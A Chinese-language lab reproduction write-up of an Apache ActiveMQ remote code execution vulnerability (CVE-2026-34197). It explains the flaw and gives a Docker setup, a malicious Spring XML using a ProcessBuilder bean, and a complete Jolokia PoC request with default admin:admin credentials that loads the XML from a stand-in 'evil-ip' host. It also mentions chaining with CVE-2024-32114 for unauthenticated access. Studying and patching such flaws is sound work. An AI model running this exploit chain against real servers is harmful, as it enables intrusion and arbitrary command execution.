CVE-2026-34197 -- ActiveMQ RCE
2026/6/8 14:24:02 网站建设 项目流程

漏洞概述

属性
CVE IDCVE-2026-34197
漏洞类型远程代码执行(RCE)
影响组件Apache ActiveMQ Jolokia JMX-HTTP 桥接

简介

CVE-2026-34197 是 Apache ActiveMQ 5.19.4 版本之前以及 6.0.0 至 6.2.3 版本之前存在的一个远程代码执行漏洞

漏洞原理:

Jolokia JMX-HTTP 桥接暴露了 ActiveMQ 自身 MBeans 上的操作,其中包括Broker MBean上的addNetworkConnector(String)方法。经过认证的攻击者可以调用该操作,传入一个精心构造的vm://传输 URI,其中包含指向攻击者控制的 Spring XML 配置文件的brokerConfig参数。当 ActiveMQ 处理该 URI 时,会获取并解析远程 XML 配置,从而触发 Spring Bean 实例化并执行任意代码。

漏洞利用链

认证访问 Jolokia API → 调用 addNetworkConnector 操作 → 构造恶意 vm:// URI ↓ 包含 brokerConfig 参数指向恶意 Spring XML → ActiveMQ 获取并解析远程 XML ↓ Spring Bean 实例化 → 触发 ProcessBuilder start() 方法 → 执行任意系统命令

组合利用

该漏洞可以与以下漏洞组合利用:

关联漏洞影响版本利用方式
CVE-2024-32114ActiveMQ 6.0.0 ~ 6.1.1Jolokia 未授权访问,可实现未授权 RCE
默认凭据部分版本使用默认账密admin:admin进行认证

影响版本

分支影响版本范围
5.x< 5.19.4
6.x6.0.0 ~ 6.2.3

建议:升级到 5.19.4 或 6.2.4 及以上版本


环境搭建

Docker Compose 配置

# docker-compose.ymlservices:activemq:image:vulhub/activemq:6.2.2ports:-"61616:61616"# ActiveMQ 消息端口-"8161:8161"# Web 管理界面-"5005:5005"# 调试端口

启动环境

# 启动 Docker 环境dockercompose up-d# 访问 Web 管理界面# 地址:http://localhost:8161# 默认账密:admin / admin

漏洞复现

说明:本文档搭建的环境为 6.2.2 版本,并非 CVE-2024-32114 漏洞版本,所以直接使用默认账密admin:admin登录。

步骤 1:托管恶意 Spring XML 配置文件

在攻击机上启动 HTTP 服务器,用于托管恶意 Spring XML 配置文件。以下示例会在目标服务器上执行id > /tmp/success命令:

<?xml version="1.0" encoding="UTF-8"?><beansxmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><beanid="exec"class="java.lang.ProcessBuilder"init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value><![CDATA[id > /tmp/success]]></value></list></constructor-arg></bean></beans>

步骤 2:发送 PoC 请求

使用默认凭据发送 PoC 请求到 Jolokia API,调用Broker MBean上的addNetworkConnector操作:

POST /api/jolokia/ HTTP/1.1 Host: your-ip:8161 Content-Type: application/json Authorization: Basic YWRtaW46YWRtaW4= { "type":"exec", "mbean":"org.apache.activemq:type=Broker,brokerName=localhost", "operation":"addNetworkConnector(java.lang.String)", "arguments":["static:(vm://evil?brokerConfig=xbean:http://evil-ip/poc.xml)"] }

参数说明:

参数说明
your-ip目标 ActiveMQ 服务器地址
evil-ip攻击者 HTTP 服务器地址

验证命令执行结果

# 查看 Docker 容器名称dockerps# 在容器内执行命令验证dockerexec-it<container_name><command># 示例:检查命令是否成功执行dockerexec-it<container_name>cat/tmp/success

步骤 3:理解漏洞触发机制

当 ActiveMQ 处理该网络连接器时:

  1. 尝试连接到vm://evil代理
  2. 由于名为 “evil” 的代理不存在,使用brokerConfig参数创建它
  3. xbean:前缀告诉 ActiveMQ 使用 Spring 的ResourceXmlApplicationContext加载配置
  4. 该机制支持 HTTP URL,可获取远程 XML
  5. Spring 解析远程 XML 并实例化所有定义的 Bean
  6. ProcessBuilder Beanstart()初始化方法执行操作系统命令

附录:常用管理操作

查询 Broker 名称

{"type":"search","mbean":"org.apache.activemq:type=Broker,*"}

删除网络连接器(NC)

当 NC 端口被占用时,需要先删除原有 NC:

{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"removeNetworkConnector(java.lang.String)","arguments":["NC名称"]}

参考资料

  • Apache ActiveMQ Security Advisories
  • Jolokia Documentation
  • Spring Framework XML Configuration

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询